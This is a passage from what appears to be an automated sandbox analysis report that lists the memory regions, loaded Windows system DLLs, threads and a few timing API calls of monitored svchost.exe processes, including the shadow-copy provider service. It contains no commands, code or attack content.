= 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1038 start_va = 0x8e0000 end_va = 0x8e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 1044 start_va = 0x8e0000 end_va = 0x8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 1045 start_va = 0x12e0000 end_va = 0x13dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 1046 start_va = 0x1450000 end_va = 0x14cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 1052 start_va = 0x8e0000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 1053 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1057 start_va = 0x850000 end_va = 0x853fff monitored = 0 entry_point = 0x852100 region_type = mapped_file name = "eventcls.dll" filename = "\\Windows\\System32\\eventcls.dll" (normalized: "c:\\windows\\system32\\eventcls.dll") Region: id = 1058 start_va = 0xa60000 end_va = 0xa63fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1691 start_va = 0x10c0000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 1692 start_va = 0x1190000 end_va = 0x120ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001190000" filename = "" Region: id = 1693 start_va = 0x19c0000 end_va = 0x1a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019c0000" filename = "" Region: id = 1694 start_va = 0x1a40000 end_va = 0x1abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a40000" filename = "" Region: id = 1695 start_va = 0x1bc0000 end_va = 0x1c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bc0000" filename = "" Region: id = 1696 start_va = 0x1cd0000 end_va = 0x1d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cd0000" filename = "" Region: id = 1697 start_va = 0x1d60000 end_va = 0x1ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 1698 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1699 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1700 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1701 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1702 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1703 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1706 start_va = 0xa70000 end_va = 0xa81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1707 start_va = 0xa70000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 1708 start_va = 0xa90000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 1711 start_va = 0x1de0000 end_va = 0x21d4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001de0000" filename = "" Region: id = 1712 start_va = 0x21e0000 end_va = 0x25d4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 1715 start_va = 0xab0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1717 start_va = 0x1de0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 1768 start_va = 0x21e0000 end_va = 0x25d4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021e0000" filename = "" Region: id = 1769 start_va = 0x25e0000 end_va = 0x29d4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 1829 start_va = 0x1ae0000 end_va = 0x1b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ae0000" filename = "" Region: id = 1830 start_va = 0x2260000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1831 start_va = 0x2430000 end_va = 0x24affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 1832 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1833 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1834 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1835 start_va = 0x1c40000 end_va = 0x1cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c40000" filename = "" Region: id = 1836 start_va = 0x2330000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 1837 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 1838 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Thread: id = 16 os_tid = 0xf74 Thread: id = 17 os_tid = 0xf70 Thread: id = 18 os_tid = 0xf6c Thread: id = 19 os_tid = 0xf68 [0071.372] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa5dba0 | out: lpSystemTimeAsFileTime=0xa5dba0*(dwLowDateTime=0x5a3b1390, dwHighDateTime=0x1d8a8f3)) [0071.372] GetCurrentProcessId () returned 0xf58 [0071.372] GetCurrentThreadId () returned 0xf68 [0071.372] GetTickCount () returned 0x186b62c [0071.372] QueryPerformanceCounter (in: lpPerformanceCount=0xa5dba8 | out: lpPerformanceCount=0xa5dba8*=2571038871144) returned 1 [0071.373] malloc (_Size=0x100) returned 0xf8ee0 Thread: id = 20 os_tid = 0xf64 Thread: id = 21 os_tid = 0xf60 Thread: id = 22 os_tid = 0xf5c Thread: id = 23 os_tid = 0xf8c Thread: id = 53 os_tid = 0xfcc Thread: id = 54 os_tid = 0xfd0 Thread: id = 55 os_tid = 0xfd4 Thread: id = 59 os_tid = 0xffc Thread: id = 130 os_tid = 0x574 Thread: id = 131 os_tid = 0x878 Thread: id = 132 os_tid = 0x8b0 Thread: id = 133 os_tid = 0xbec Thread: id = 134 os_tid = 0x818 Thread: id = 135 os_tid = 0xbf8 Thread: id = 137 os_tid = 0xbf0 Thread: id = 139 os_tid = 0xccc Thread: id = 141 os_tid = 0x900 Thread: id = 142 os_tid = 0x98c Thread: id = 143 os_tid = 0xcfc Process: id = "4" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x44102000" os_pid = "0xf78" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006daf7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 566 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 567 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 568 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 569 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 570 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 571 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 572 start_va = 0x1d0000 end_va = 0x236fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 573 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 574 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 575 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 576 start_va = 0x2a0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 577 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 578 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 579 start_va = 0x430000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 580 start_va = 0x4f0000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 581 start_va = 0x590000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 582 start_va = 0x680000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 583 start_va = 0x700000 end_va = 0x9cefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 584 start_va = 0x9d0000 end_va = 0xb57fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 585 start_va = 0xb60000 end_va = 0xce0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 586 start_va = 0xe90000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 587 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 588 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 589 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 590 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 591 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 592 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 593 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 594 start_va = 0x7fef32d0000 end_va = 0x7fef3351fff monitored = 0 entry_point = 0x7fef332ee88 region_type = mapped_file name = "swprv.dll" filename = "\\Windows\\System32\\swprv.dll" (normalized: "c:\\windows\\system32\\swprv.dll") Region: id = 595 start_va = 0x7fef4fa0000 end_va = 0x7fef4fb3fff monitored = 0 entry_point = 0x7fef4fac210 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 596 start_va = 0x7fef6450000 end_va = 0x7fef6458fff monitored = 0 entry_point = 0x7fef645325c region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 597 start_va = 0x7fef69b0000 end_va = 0x7fef69b9fff monitored = 0 entry_point = 0x7fef69b42bc region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 598 start_va = 0x7fef9ab0000 end_va = 0x7fef9ac6fff monitored = 0 entry_point = 0x7fef9ab1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 599 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 600 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 601 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 602 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 603 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 604 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 605 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 606 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 607 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 608 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 609 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 610 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 611 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 612 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 613 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 614 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 615 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 616 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 617 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 618 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 619 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 620 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 621 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 622 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 623 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 624 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 625 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 626 start_va = 0x270000 end_va = 0x277fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 627 start_va = 0x7fef9ad0000 end_va = 0x7fef9c7ffff monitored = 0 entry_point = 0x7fef9ad1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1036 start_va = 0x280000 end_va = 0x281fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1037 start_va = 0x290000 end_va = 0x291fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1054 start_va = 0xcf0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 1055 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1056 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Thread: id = 24 os_tid = 0xf94 Thread: id = 25 os_tid = 0xf90 Thread: id = 26 os_tid = 0xf88 Thread: id = 27 os_tid = 0xf84 Thread: id = 28 os_tid = 0xf80 Thread: id = 29 os_tid = 0xf7c Thread: id = 512 os_tid = 0xb58 Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5f01000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000eeb4" [0xc000000f], "LOCAL" [0x7] Region: id = 650 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 651 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 652 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 653 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 654 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 655 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 656 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 657 start_va = 0x80000 end_va = 0x83fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 658 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 659 start_va = 0x190000 end_va = 0x1a0fff monitored = 0 entry_point = 0x1a6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 660 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 661 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netprofm.dll.mui" filename = "\\Windows\\System32\\en-US\\netprofm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netprofm.dll.mui") Region: id = 662 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 663 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 664 start_va = 0x1f0000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 665 start_va = 0x270000 end_va = 0x2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 666 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 667 start_va = 0x3e0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 668 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 669 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 670 start_va = 0x4d0000 end_va = 0x657fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 671 start_va = 0x660000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 672 start_va = 0x850000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 673 start_va = 0x8d0000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 674 start_va = 0x950000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 675 start_va = 0x9d0000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 676 start_va = 0xa60000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 677 start_va = 0xae0000 end_va = 0xdaefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 678 start_va = 0xe80000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 679 start_va = 0xf00000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 680 start_va = 0x1000000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 681 start_va = 0x1120000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 682 start_va = 0x11e0000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 683 start_va = 0x1310000 end_va = 0x138ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001310000" filename = "" Region: id = 684 start_va = 0x1390000 end_va = 0x140ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 685 start_va = 0x1520000 end_va = 0x152ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" 